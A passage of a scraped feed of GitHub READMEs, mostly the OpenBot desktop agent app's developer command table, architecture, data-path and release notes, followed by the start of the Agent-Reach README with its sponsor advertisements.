profile, and a clear.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:browser-profile-agents</code></td> \n   <td>Check that the shared profile, an agent's own session, a named profile, and the delete of a named profile change the stored browser profile of an agent, and that the choice stays after a restart.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:browser</code></td> \n   <td>Run the complete local embedded-browser smoke test, including cross-process persistence. Use <code>--scenario=controls</code>, <code>--scenario=tool-boundary</code>, <code>--scenario=evaluation</code>, <code>--scenario=wait-deadlines</code>, or <code>--scenario=popups</code> for one isolated scenario.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:codex</code></td> \n   <td>Probe the real CLI handshake and account without starting a paid turn.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:durations</code></td> \n   <td>Re-record how long each desktop test file takes. CI splits its shards by this table, so run it when the two shards stop finishing together.</td> \n  </tr> \n  <tr> \n   <td><code>bun run cua-driver:doctor</code></td> \n   <td>Print, as JSON, which <code>cua-driver</code> binary OpenBot would use for Computer Use, and the driver's own <code>doctor</code> report. Read-only, and it starts no daemon. <code>OPENBOT_CUA_DRIVER_PATH</code> selects a different binary in a checkout; an installed application runs only the driver it was released with.</td> \n  </tr> \n  <tr> \n   <td><code>bun run prepare:cua-driver</code></td> \n   <td>Write the pinned Computer Use driver to <code>build/cua-driver/&lt;platform&gt;/&lt;arch&gt;</code>, verifying every SHA-256 in <code>native-runtime.lock.json</code>. Name another target with <code>bun scripts/install-cua-driver.ts &lt;platform&gt; &lt;arch&gt;</code>. Every packaging command runs this first.</td> \n  </tr> \n  <tr> \n   <td><code>bun run pin:cua-driver &lt;version&gt;</code></td> \n   <td>Print a new <code>cuaDriver</code> block for <code>native-runtime.lock.json</code> from a published <code>cua-driver</code> release. Downloads the release assets of all five targets and hashes each shipped file.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package</code></td> \n   <td>Build an unpacked local application for the architecture of this Mac.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:verify</code></td> \n   <td>Build and verify the real app bundle for this Mac, icon, metadata, ASAR, and fuses.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:win</code></td> \n   <td>Build an unpacked local Windows x64 application on Windows.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:win:verify</code></td> \n   <td>Build and verify the Windows x64 application on Windows.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:linux</code></td> \n   <td>Build an unpacked local Linux x64 application on Linux.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:linux:arm64</code></td> \n   <td>Build an unpacked local Linux arm64 application on arm64 Linux.</td> \n  </tr> \n  <tr> \n   <td><code>bun run package:linux:verify</code></td> \n   <td>Build and verify the Linux x64 application on Linux. Run it under <code>xvfb-run -a</code> without a display.</td> \n  </tr> \n  <tr> \n   <td><code>bun scripts/create-github-app.ts [--org &lt;org&gt;]</code></td> \n   <td>Create the OpenBot GitHub App from <code>scripts/github-app/manifest.json</code> with the manifest flow. Prints the Client ID for <code>src/main/github-connector-config.ts</code> and writes the app secrets to <code>~/.config/openbot/github-app-&lt;slug&gt;.json</code> (mode 0600). Enable Device Flow in the app settings after the run.</td> \n  </tr> \n  <tr> \n   <td><code>bun run release:preflight</code></td> \n   <td>Verify version, Git state, and GitHub release secrets before tagging.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dist:mac</code></td> \n   <td>Build unsigned local DMG and ZIP update artifacts for this Mac.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dist:win</code></td> \n   <td>Build an unsigned Windows x64 NSIS installer on Windows.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dist:linux</code></td> \n   <td>Build an unsigned Linux x64 AppImage on Linux.</td> \n  </tr> \n  <tr> \n   <td><code>bun run dist:linux:arm64</code></td> \n   <td>Build an unsigned Linux arm64 AppImage on arm64 Linux.</td> \n  </tr> \n  <tr> \n   <td><code>bun run release:patch</code></td> \n   <td>Create the next patch version commit and tag.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:release:patch</code></td> \n   <td>Move the iPhone app notes from <code>apps/mobile/changelog.d</code> into <code>apps/mobile/CHANGELOG.md</code> and set the next patch version in <code>app.json</code>. Also <code>mobile:release:minor</code> and <code>mobile:release:major</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run mobile:release:published &lt;ios|android|both&gt;</code></td> \n   <td>Write today's date for a store that made the mobile build available. <code>/changelog</code> shows each store, and a store that still reviews the build as \"In review\". Add <code>--version x.y.z</code> for a version that is not in <code>app.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:acp-directories</code></td> \n   <td>Run three fake ACP agents through the <code>acp</code> provider driver: new, load and resume requests carry the workspace roots as <code>additionalDirectories</code> only when the agent advertises them. Offline; writes <code>.openbot-build/acp-additional-directories-e2e/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:custom-agents</code></td> \n   <td>Run two fake ACP agents through the agent store, Check agent (with its model list) and the <code>acp</code> provider router: equal session ids, restart and resume, switch, and delete. Offline; writes <code>.openbot-build/custom-acp-agent-e2e/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:mcp-tool-consent</code></td> \n   <td>Run the real Codex app-server with a fake model, a real MCP server and the real attention registry: tool consent at Ask first and Full access, Always allow and a restart, refusals, and the requests that stay with the user (forms, sign-in, look-alikes). Needs a Codex CLI; offline; writes <code>.openbot-build/mcp-tool-consent-e2e/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:ui-blocks</code></td> \n   <td>Run the real attention registry and Team API codecs on <code>ask_ui</code> blocks: answers from the owner, an admin, a member and a released client, the member refusal for privileged actions, a secret form value that is never stored, skip and expiry, and the <code>ui-blocks-v1</code> wire on protocols 6 and 7. Offline; writes <code>.openbot-build/ui-blocks-e2e/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:filesystem</code></td> \n   <td><strong>Online/manual:</strong> run real full-access Codex and Claude filesystem turns across private and shared workspaces.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:imagegen</code></td> \n   <td><strong>Online/manual:</strong> run a real full-access image-generation turn.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:workspace-only</code></td> \n   <td><strong>Online/manual:</strong> run real Workspace only Codex, Claude, Grok and OpenCode turns that try to write outside; writes a JSON report per provider to <code>.openbot-build/workspace-only-smoke/</code>. Add <code>--provider &lt;id&gt;</code> for one, and <code>--model &lt;id&gt;</code> to choose its model.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:provider-detection</code></td> \n   <td>Run local detection, Load models and endpoint Edit against fake OpenAI-compatible servers on this computer: no key in a scan, no redirect, the stored key only to its own origin. Offline; writes <code>.openbot-build/provider-detection-e2e/report.json</code>.</td> \n  </tr> \n  <tr> \n   <td><code>bun run test:storage-live</code></td> \n   <td><strong>Online/manual:</strong> verify isolated Codex and Claude turns in a temporary SQLite database.</td> \n  </tr> \n </tbody> \n</table> \n<p>Publishing never creates a second OpenBot instance. The host keeps its Team API on loopback. A hidden, sandboxed Electron page connects it to invited clients through WebRTC. Signal carries only connection setup messages. Team data uses direct DataChannels when possible and the project coturn service when direct ICE fails. Cloudflare stores accounts, configuration, memberships, invitations, logical session records, and public assets. It does not carry chats, files, commands, or remote desktop media.</p> \n<p>The development runner advertises both Mobile Connect and its Signal service on the preferred private LAN interface. Restart the runner after changing networks so newly generated QR codes contain the current address.</p> \n<p>Production mobile analytics setup and required OpenPanel credentials are documented in <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/apps/mobile/README.md#openpanel-product-analytics\">OpenBot Mobile</a>.</p> \n<p><code>mobile:go:tunnel</code> exposes only the Expo development server. It does not expose the local account API, Signal, or TURN. A phone on 5G cannot use the default LAN addresses. For a test across networks, use a VPN that connects both devices, or provide HTTPS and WSS endpoints that forward to this dev stack's account API and Signal ports. Set <code>OPENBOT_MOBILE_AUTH_API_URL</code> to the reachable account API origin and <code>REMOTE_SIGNAL_URL</code> to the reachable Signal URL, including <code>/v1/signal</code>, before starting <code>bun run dev</code>. Use the ports reported by <code>bun run dev:status</code>; they can differ between worktrees. If direct WebRTC cannot connect, <code>TURN_HOST</code> must name a reachable coturn service and <code>TURN_SHARED_SECRET</code> must match that service. An HTTP tunnel cannot forward TURN traffic. Generate and scan a new Mobile Connect code after changing the account API address; an existing mobile session retains its original address.</p> \n<p>Mobile sign-out removes the local login even when the account API is unavailable. The app keeps only the credential in secure storage for revocation retries at startup, on return to the foreground, and on the next connection attempt. Remote revocation completes when the account API is reachable.</p> \n<p>For manual team testing, <code>bun run dev:test-client</code> starts a complete two-client harness. The second client uses the <code>OpenBot Dev Test Client wt-&lt;hash&gt;</code> profile of this worktree (<code>OpenBot Dev Test Client</code> with <code>--shared</code>) and renderer port 5174. <code>dev:reset</code> removes the shared one and the legacy <code>OpenBot Dev Host</code> profile. It does not remove the downloaded provider CLIs, which the whole computer shares. Press <code>Ctrl+C</code> in the runner terminal to stop only the processes started by that runner, or run <code>bun run dev:stop</code> from the worktree once that terminal is gone. Never stop a dev stack with <code>pkill -f electron</code> or <code>pkill -f bun</code>: on a machine running several worktrees those kill the other checkouts' work mid-write, which is what <code>dev:status</code> and <code>dev:stop</code> exist to make unnecessary.</p> \n<p>Set <code>OPENBOT_DEV_ICE_TRANSPORT_POLICY=relay</code> before this command to force Team API traffic through coturn. This test option works only with the development renderer. Production always starts with <code>all</code>.</p> \n<p>The normal <code>check</code> command is offline and uses a fake App Server. Manual smoke scripts may use the signed-in subscription and must not run in CI.</p> \n<p>Local agents run with the providers' unrestricted execution modes. Each agent starts in its own persistent <code>~/OpenBot/Agents/&lt;agent-id&gt;</code> workspace and also receives <code>~/OpenBot/Shared</code>; routine command and filesystem work in both locations runs without OpenBot adding another permission boundary. Because these modes are intentionally unrestricted, they also permit host access outside those directories when the provider and operating system allow it.</p> \n<h3>macOS remote desktop permissions</h3> \n<p>For each macOS account, log in to its GUI session and open <strong>Server Settings \u2192 Remote desktop access</strong>. Select <strong>Check again</strong> to read Sunshine's Screen Recording and Accessibility permissions, display availability, and GUI session status. The panel names the Mac and the account that runs Sunshine. Grant permissions in that account, including when the account was created with the tenant setup script.</p> \n<p>After you publish a server on a Mac, an optional <strong>Set up remote desktop</strong> prompt opens this panel. Select <strong>Later</strong> to keep using the published server without remote desktop setup.</p> \n<p>Use the permission buttons to open <strong>System Settings \u2192 Privacy &amp; Security</strong> on the host. If Sunshine is missing from a list, select <strong>Show Sunshine in Finder</strong> and add the bundled <code>Sunshine.app</code> with the <strong>+</strong> button. macOS can attribute access to the application that starts Sunshine; enable the application named by the system prompt. Return to OpenBot to check again. If a restart is required, end remote sessions first. A check never restarts an active session.</p> \n<p>Select <strong>Test on this Mac</strong> for a local test. If native checks are unavailable, it tests video only and disables viewer input. After the checks pass, it can test mouse and keyboard too. Select <strong>Test remote desktop</strong> from another computer for a remote test. The test requires an otherwise unused remote desktop host. It opens a temporary host panel, keeps remote input inside that panel, and asks you to click a target and type a four-digit code. Confirm that the picture is visible, then select <strong>Finish test</strong>. Local input does not pass the mouse or keyboard test. The panel expires after two minutes. Older hosts or native runtimes require an update before these checks are available.</p> \n<p>The native runtime source change invalidates prior artifact pins. The <strong>Remote desktop runtime</strong> CI workflow builds and tests the new source, then publishes and pins verified artifacts through its existing release flow. Do not reuse old artifact hashes with the new source digest.</p> \n<h2>Architecture</h2> \n<pre><code class=\"language-text\">Electron main\n\u251c\u2500\u2500 local Codex App Server process over stdio JSONL\n\u251c\u2500\u2500 local Claude Agent SDK session over stream JSON\n\u251c\u2500\u2500 SQLite command log and read projections\n\u251c\u2500\u2500 secure typed IPC handlers\n\u2514\u2500\u2500 sandboxed WebContentsView browser host\n    \u2195 typed preload bridge\nSolidJS renderer\n\nCloudflare Workers\n\u2514\u2500\u2500 TanStack Start + Solid 2 account API\n    \u251c\u2500\u2500 D1 accounts, email challenges, hashed sessions, and team tunnels\n    \u2514\u2500\u2500 R2 account avatars\n</code></pre> \n<ul> \n <li><code>src/main</code> owns the Electron lifecycle, window security, local protocol, and IPC registration.</li> \n <li><code>src/backend</code> owns provider adapters, persistence, message scheduling, transfers, and the browser host.</li> \n <li><code>src/preload</code> exposes only the typed <code>window.openbot</code> API.</li> \n <li><code>src/renderer</code> contains the SolidJS interface.</li> \n <li><code>apps/auth-api</code> contains the TanStack Start account API, one-time email codes, rate limits, and D1 migrations. It also serves the public site: the landing page, <code>/news</code>, <code>/guides</code>, and the plugin pages at <code>/plugins</code> and <code>/plugins/&lt;slug&gt;</code>.</li> \n <li><code>apps/status</code> contains the public status page at <code>status.openbot.run</code>, the script that the <code>status-page</code> workflow runs to check the services, and the script that sends the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/status-webhooks.md\">status webhooks</a> of the team. GitHub hosts it, so it stays up when Cloudflare does not.</li> \n <li><code>packages/contracts</code> contains process-boundary contracts, shared limits, and pure validation.</li> \n <li><code>packages/i18n</code> contains the interface text in English, French, Japanese, Brazilian Portuguese and Turkish for desktop, web and mobile. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/i18n.md\">docs/i18n.md</a> to add text or a language.</li> \n</ul> \n<p>See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/ARCHITECTURE.md\">docs/ARCHITECTURE.md</a> for dependency direction, state ownership, and rules for new modules.</p> \n<h2>Chat attachments</h2> \n<p>Attach MP3 audio and MOV video through the file picker or drag and drop. The limits are 100 MB per file, 250 MB per message, and 10 files per message. OpenBot gives the agent the original file; it does not play, decode, transcribe, or validate the recording during import. Damaged recordings can be attached for inspection. Analysis depends on the tools available to the agent. For other audio or video formats, export as MP3 or MOV, or attach a text transcript. Remote hosts must advertise the <code>media-attachments</code> capability; update the host if this feature is unavailable.</p> \n<p>ZIP archives use the same limits. OpenBot does not extract or inspect an archive: the agent gets the original file and extracts it with its own tools. An agent sends a ZIP archive back with <code>openbot.attach_files_to_response</code>, and the user downloads it from the chat. Open shows a ZIP archive in the file manager instead of opening it. Remote hosts must advertise the <code>zip-attachments</code> capability.</p> \n<h2>Local data and network boundaries</h2> \n<ul> \n <li><code>~/OpenBot/Agents/&lt;agent-id&gt;</code> \u2014 one working directory per agent. A profile written before the bot-to-agent rename holds them under <code>~/OpenBot/Bots</code>; the app moves them on first launch, and a workspace whose move could not run stays readable where it is.</li> \n <li><code>~/OpenBot/Shared</code> \u2014 files intentionally shared between agents.</li> \n <li><code>~/OpenBot/Shared/Transfers</code> \u2014 managed message snapshots and generated files. Each transfer has an <code>.openbot-transfer.json</code> manifest with ownership, recipients, size, and SHA-256 metadata.</li> \n <li><code>~/OpenBot/Downloads</code> \u2014 embedded-browser downloads.</li> \n <li>Electron <code>userData/openbot.db</code> \u2014 the canonical OpenBot event log and projections for agents, conversations, provider session bindings, queues, reactions, and attachment indexes.</li> \n <li>Electron <code>userData/legacy-backup-v1</code> \u2014 unchanged copies of imported <code>bots.json</code> and <code>mailbox.json</code> files, when these files existed before the SQLite migration.</li> \n <li><code>~/Library/Application Support/OpenBot/provider-runtimes</code> \u2014 the provider CLIs OpenBot downloads and pins. One store for the whole computer, outside any one profile, so every development profile and the packaged app read the same download. <code>--user-data-dir</code> keeps the store in that directory instead, so an explicitly named profile stays self-contained.</li> \n <li><code>~/.codex</code> \u2014 login and thread history managed exclusively by Codex CLI.</li> \n <li><code>~/.claude</code> \u2014 login and session history managed exclusively by Claude CLI.</li> \n <li><code>~/.grok</code> \u2014 login and session history managed exclusively by Grok CLI.</li> \n <li><code>~/.gemini</code> (or <code>$GEMINI_HOME</code>) \u2014 login and session history managed exclusively by the Antigravity ACP server that Gemini uses.</li> \n <li><code>~/.cursor</code> \u2014 login and session history managed exclusively by the Cursor CLI. A confined Cursor process keeps its settings in <code>~/.cursor/openbot-confined</code>, so it never changes yours.</li> \n <li><code>~/.cline</code> (or <code>$CLINE_DIR</code>) \u2014 login and session history managed exclusively by the Cline CLI.</li> \n</ul> \n<p>Deleting an agent removes its workspace, owned generated attachments, and deliveries addressed only to that agent. A transfer remains when another agent still uses the same message.</p> \n<p>OpenBot keeps one stable local conversation when an agent changes between Codex, Grok, and Claude. Native provider session identifiers stay private and are used only to resume provider runtime state.</p> \n<p>The Electron renderer is never exposed as a public website. It communicates with local CLI processes over stdio. When the owner publishes OpenBot, its authenticated Team API stays on localhost. WebRTC protocol v3 carries RPC, events, and binary files to desktop and mobile clients. Expo Go hosts the mobile <code>RTCPeerConnection</code> in a hidden Expo DOM component, so mobile uses the same encrypted transport without a custom native development build. The account flow connects to the configured HTTPS Cloudflare API. The client stores only an encrypted OpenBot session token. One-time codes expire after 10 minutes and are stored only as hashes. A daily maintenance task removes expired or consumed authentication records from D1. The embedded browser uses a separate sandboxed Electron session and cannot access <code>window.openbot</code> or managed local attachments.</p> \n<p>To run your own account service, Signal and TURN, see <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/self-hosting.md\">Self-hosted remote access</a>.</p> \n<p>To trigger routines from external services, see <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/webhooks.md\">Webhooks</a>. Public webhook requests require the host to be online.</p> \n<h2>Security</h2> \n<p>Read <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/SECURITY.md\">SECURITY.md</a> before reporting a vulnerability. Do not put credentials, private files, conversation contents, or sensitive diagnostics in a public issue.</p> \n<p>Full local access is an explicit current product decision, not a security boundary. Reports are especially useful when remote content can reach Electron privileges, managed attachment paths can escape their roots, IPC sender validation can be bypassed, or an agent can act outside the access described above.</p> \n<h2>Releases</h2> \n<p>Releases are tag-driven. <code>bun run release:patch</code>, <code>release:minor</code>, or <code>release:major</code> prepares the version and changelog. After review, commit, preflight, and tag the release; pushing the tag builds a signed and notarized macOS ARM64 and x64 release, a signed Windows x64 release, and unsigned Linux x64 and arm64 AppImages in GitHub Actions. After the release is published, the workflow pushes the Docker image to <code>ghcr.io/nightly-labs/openbot</code>. Installed builds check GitHub Releases for updates and expose download/restart controls in the account popover. Release signing secrets and the complete procedure are documented in <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/RELEASING.md\">docs/RELEASING.md</a>.</p> \n<h2>Contributing</h2> \n<p>See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/CONTRIBUTING.md\">CONTRIBUTING.md</a>. Before we merge a contribution, each author from outside the organization signs the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/CLA.md\">Contributor Assignment Agreement</a>, which assigns its copyright to Synthetify Labs. Community behavior is governed by the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/CODE_OF_CONDUCT.md\">Code of Conduct</a>.</p> \n<h2>License and attribution</h2> \n<p>Copyright 2026 Synthetify Labs sp\u00f3\u0142ka z ograniczon\u0105 odpowiedzialno\u015bci\u0105.</p> \n<p>Licensed under the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/LICENSE\">PolyForm Noncommercial License 1.0.0</a>. You may use, modify, and distribute the code for permitted noncommercial purposes. Commercial use requires a separate license from the copyright owner. For a commercial license, contact <a href=\"mailto:licenses@openbot.run\">licenses@openbot.run</a>. Versions up to and including 0.1.11 remain available under Apache-2.0. See <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/NOTICE\">NOTICE</a> for attribution and third-party notices.</p> \n<p>OpenBot is an independent source-available project and is not affiliated with, endorsed by, or sponsored by OpenAI. OpenAI, ChatGPT, and Codex are used only to describe compatibility with their respective products and services.</p> \n<h3>Shared macOS hosts</h3> \n<p>For one native Standard user per tenant, install the normal OpenBot DMG and the optional <code>OpenBot-Host-&lt;VERSION&gt;-arm64.pkg</code> from the same release. The Host package provides <code>sudo openbot-host setup --create-user client-acme --create-user client-bravo</code> and <code>sudo openbot-host verify</code>. <code>sudo openbot-host status [--json]</code> and <code>sudo openbot-host watch</code> show the update phase, the staged version, and each tenant's work state. No Git checkout, Bun, or compilation is required on the host. Normal desktop users need only the DMG. See the <a href=\"https://raw.githubusercontent.com/nightly-labs/openbot/main/docs/multi-tenant-hosting.md\">host deployment guide</a> for existing-user enrollment, password handling, package upgrades, and required target-host checks.</p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/Panniantong/Agent-Reach", "url": "https://github.com/Panniantong/Agent-Reach", "external_url": null, "title": "Panniantong/Agent-Reach", "content_text": "", "content_html": "<p>Give your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu \u2014 one CLI, zero API fees.</p><hr /><h1 align=\"center\">\ud83d\udc41\ufe0f Agent Reach</h1> \n<p align=\"center\"> <strong>\u8ba9 AI Agent \u591f\u5f97\u7740\u5b83\u81ea\u5df1\u4e0a\u4e0d\u53bb\u7684\u4e92\u8054\u7f51</strong> </p> \n<p align=\"center\"> \u767b\u5f55\u5899\u540e\u7684\u5e73\u53f0\u3001\u89c6\u9891\u91cc\u7684\u5185\u5bb9\u3001\u4e2d\u6587\u5e73\u53f0\u3001\u5e72\u51c0\u7684\u7ed3\u6784\u5316\u6570\u636e\uff0c\u4e00\u6761\u547d\u4ee4\u62ff\u5230 </p> \n<p align=\"center\"> <a href=\"https://trendshift.io/repositories/24387\"><img alt=\"Trendshift GitHub Trending #1 Repository of the Day\" src=\"https://trendshift.io/api/badge/repositories/24387\" /></a> <a href=\"https://star-history.com/#Panniantong/Agent-Reach&amp;Date\"><img alt=\"Star History Rank\" height=\"55\" src=\"https://api.star-history.com/badge?repo=Panniantong/Agent-Reach\" width=\"196\" /></a> </p> \n<p align=\"center\"> <a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/LICENSE\"><img alt=\"MIT License\" src=\"https://img.shields.io/badge/License-MIT-blue.svg?style=for-the-badge\" /></a> <a href=\"https://www.python.org/\"><img alt=\"Python 3.10+\" src=\"https://img.shields.io/badge/Python-3.10+-green.svg?style=for-the-badge&amp;logo=python&amp;logoColor=white\" /></a> <a href=\"https://github.com/Panniantong/agent-reach/stargazers\"><img alt=\"GitHub Stars\" src=\"https://img.shields.io/github/stars/Panniantong/agent-reach?style=for-the-badge\" /></a> </p> \n<p align=\"center\"> <a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/#%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B\">\u5feb\u901f\u5f00\u59cb</a> \u00b7 <a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/README_en.md\">English</a> </p> \n<p align=\"center\"> <a href=\"https://discord.gg/NSZz22R39\"><img alt=\"\u52a0\u5165 Agent Reach Discord \u793e\u533a\" src=\"https://img.shields.io/badge/Discord-%E5%8A%A0%E5%85%A5%E7%A4%BE%E5%8C%BA-5865F2?style=for-the-badge&amp;logo=discord&amp;logoColor=white\" /></a> </p> \n<p align=\"center\"> \ud83d\udcac \u6709\u95ee\u9898\u3001\u60f3\u8981\u65b0\u5e73\u53f0\u3001\u6216\u8005\u60f3\u770b\u770b\u522b\u4eba\u600e\u4e48\u7528\uff1f\u6765 <a href=\"https://discord.gg/NSZz22R39\">Discord</a> \u804a\u804a\u3002 </p> \n<hr /> \n<h2>\u2764\ufe0f\u8d5e\u52a9\u5546</h2> \n<blockquote> \n <p><a href=\"mailto:pnt01@foxmail.com\">\u60f3\u51fa\u73b0\u5728\u8fd9\u91cc\uff1f</a></p> \n</blockquote> \n<details> \n \u70b9\u51fb\u5c55\u5f00 \n <table> \n  <tbody>\n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://get.brightdata.com/bdenai\"><img alt=\"Bright Data \u4eae\u6570\u636e\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/brightdata.png\" width=\"150\" /></a></td> \n    <td><a href=\"https://get.brightdata.com/bdenai\">Bright Data \u4eae\u6570\u636e</a> | \u5168\u7403\u9886\u5148\u7684\u6570\u636e\u91c7\u96c6\u57fa\u7840\u8bbe\u65bd\u3002Scraper Studio \u667a\u80fd\u722c\u53d6\u5668\u8ba9\u4f60\u7528\u81ea\u7136\u8bed\u8a00\u4e00\u952e\u751f\u6210\u722c\u866b\uff0c\u65e0\u9700\u5199\u4ee3\u7801\uff1bUnlocker \u7f51\u7ad9\u89e3\u9501\u5668\u81ea\u52a8\u7ed5\u8fc7\u53cd\u722c\u866b\u673a\u5236\uff0c\u8f7b\u677e\u91c7\u96c6 Amazon\u3001Google\u3001LinkedIn\u3001TikTok \u7b49\u590d\u6742\u7f51\u7ad9\u6570\u636e\u3002\u5185\u7f6e 350+ \u73b0\u6210 API \u96c6\u6210\uff0c\u8986\u76d6\u7535\u5546\u3001\u793e\u4ea4\u3001\u641c\u7d22\u3001\u5730\u56fe\u7b49\u5168\u54c1\u7c7b\u6570\u636e\u6e90\uff0c\u76f4\u63a5\u8c03\u7528\u5f00\u7bb1\u5373\u7528\u30021.5 \u4ebf+ \u5168\u7403\u771f\u5b9e\u4f4f\u5b85 IP \u4fdd\u969c\u91c7\u96c6\u7a33\u5b9a\u6027\u3002\u6bcf\u6708\u514d\u8d39 5,000 \u6b21\u8bf7\u6c42\uff0c<a href=\"https://get.brightdata.com/bdenai\">\u7acb\u5373\u514d\u8d39\u6ce8\u518c</a>\u3002</td> \n   </tr> \n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://www.rapidproxy.io/?ref=pann\"><img alt=\"Rapidproxy\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/rapidproxy.png\" width=\"150\" /></a></td> \n    <td><a href=\"https://www.rapidproxy.io/?ref=pann\">RapidProxy</a> \u662f\u4e13\u4e3a\u5f00\u53d1\u8005\u6253\u9020\u7684\u6570\u636e\u91c7\u96c6\u4ee3\u7406\u89e3\u51b3\u65b9\u6848\uff0c\u63d0\u4f9b\u7a33\u5b9a\u53ef\u9760\u7684\u4f4f\u5b85\u4ee3\u7406\u670d\u52a1\u3002\u62e5\u6709 9000 \u4e07+ \u5168\u7403\u4f4f\u5b85 IP\uff0c\u8986\u76d6 200+ \u56fd\u5bb6\u548c\u5730\u533a\uff0c\u652f\u6301\u667a\u80fd\u8f6e\u6362\u4e0e\u7cbe\u51c6\u5730\u7406\u5b9a\u4f4d\uff0c\u53ef\u7528\u4e8e\u7f51\u9875\u6293\u53d6\u3001AI \u6570\u636e\u91c7\u96c6\u4e0e\u8bad\u7ec3\u3001SEO \u76d1\u63a7\u3001\u7535\u5546\u6570\u636e\u5206\u6790\u7b49\u573a\u666f\uff0c\u5e2e\u52a9\u63d0\u5347\u6570\u636e\u91c7\u96c6\u6548\u7387\u4e0e\u7a33\u5b9a\u6027\u3002\u652f\u6301 Playwright\u3001Selenium\u3001Puppeteer \u7b49\u4e3b\u6d41\u81ea\u52a8\u5316\u6846\u67b6\uff0c\u6d41\u91cf\u6c38\u4e45\u6709\u6548\uff0c\u4ef7\u683c\u4f4e\u81f3 $0.55/GB\uff0c<a href=\"https://www.rapidproxy.io/?ref=pann\">\u652f\u6301\u514d\u8d39\u6d4b\u8bd5</a>\u3002</td> \n   </tr> \n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://www.browseract.ai/Agent\"><img alt=\"BrowserAct\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/browseract.png\" width=\"150\" /></a></td> \n    <td><a href=\"https://www.browseract.ai/Agent\">BrowserAct</a> \u652f\u6301\u4ece Amazon\u3001LinkedIn\u3001X\u3001Google Maps \u7b49\u590d\u6742\u7f51\u7ad9\u63d0\u53d6\u4f60\u9700\u8981\u7684\u4efb\u610f\u6570\u636e\u3002\u4f60\u53ea\u9700\u7528\u81ea\u7136\u8bed\u8a00\u63cf\u8ff0\u6293\u53d6\u9700\u6c42\uff0cAgent \u5c31\u4f1a\u57fa\u4e8e\u771f\u5b9e\u6d4f\u89c8\u5668\u81ea\u52a8\u63a2\u7d22\u5e76\u6d4b\u8bd5\u9875\u9762\u6d41\u7a0b\uff0c\u751f\u6210\u53ef\u9760\u3001\u53ef\u590d\u7528\u7684\u6570\u636e\u91c7\u96c6 Bot\uff0c\u5e76\u8fd4\u56de\u7ed3\u6784\u5316\u7ed3\u679c\u3002\u65e0\u9700\u624b\u52a8\u6784\u5efa\u722c\u866b\uff0c\u65e0\u9700\u7f16\u5199\u4ee3\u7801\u3002BrowserAct \u5185\u7f6e\u9690\u8eab\u6d4f\u89c8\u3001\u9a8c\u8bc1\u7801\u5904\u7406\u548c\u9ad8\u8d28\u91cf\u4f4f\u5b85\u4ee3\u7406\uff0c\u5e2e\u52a9\u4f60\u66f4\u7a33\u5b9a\u5730\u5b8c\u6210\u590d\u6742\u7f51\u9875\u6570\u636e\u91c7\u96c6\u3002\u65b0\u7528\u6237\u6ce8\u518c\u5373\u9001 1000 \u79ef\u5206\uff0c<a href=\"https://www.browseract.ai/Agent\">\u7acb\u5373\u514d\u8d39\u8bd5\u7528</a>\u3002</td> \n   </tr> \n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://www.tencentcloud.com/act/pro/intl-openclaw?referral_code=G76Y819A&amp;lang=zh&amp;pg=\"><img alt=\"\u817e\u8baf\u4e91 OpenClaw\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/tencent-cloud.svg?sanitize=true\" width=\"150\" /></a></td> \n    <td>\u5728\u817e\u8baf\u4e91 Lighthouse 